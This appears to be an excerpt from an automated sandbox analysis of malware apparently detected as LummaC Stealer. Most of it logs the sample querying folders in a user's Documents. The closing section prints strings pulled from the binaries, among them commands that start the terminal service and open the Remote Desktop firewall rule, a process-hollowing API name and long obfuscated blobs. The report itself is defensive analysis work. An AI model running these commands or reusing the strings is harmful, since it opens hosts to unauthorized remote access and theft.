                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VAMYDFPUND
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: number of queries: 1001
                              Source: Yara matchFile source: Process Memory Space: b2885fa695.exe PID: 8036, type: MEMORYSTR

                              Remote Access Functionality

                              barindex
                              Yara detected LummaC Stealer
                              Source: Yara matchFile source: Process Memory Space: b2885fa695.exe PID: 8036, type: MEMORYSTR
                              Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                              Contains functionality to start a terminal service
                              Source: 72f44ceb0a.exe, 00000024.00000002.2595429980.0000000001011000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: net start termservice
                              Source: 72f44ceb0a.exe, 00000024.00000002.2595429980.0000000001011000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: 72f44ceb0a.exe, 00000024.00000003.2591928551.0000000007071000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: net start termservice
                              Source: 72f44ceb0a.exe, 00000024.00000003.2591928551.0000000007071000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: 72f44ceb0a.exe, 00000024.00000000.2584274322.0000000001011000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: net start termservice
                              Source: 72f44ceb0a.exe, 00000024.00000000.2584274322.0000000001011000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: Gxtuum.exe, 00000025.00000002.2596732466.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: net start termservice
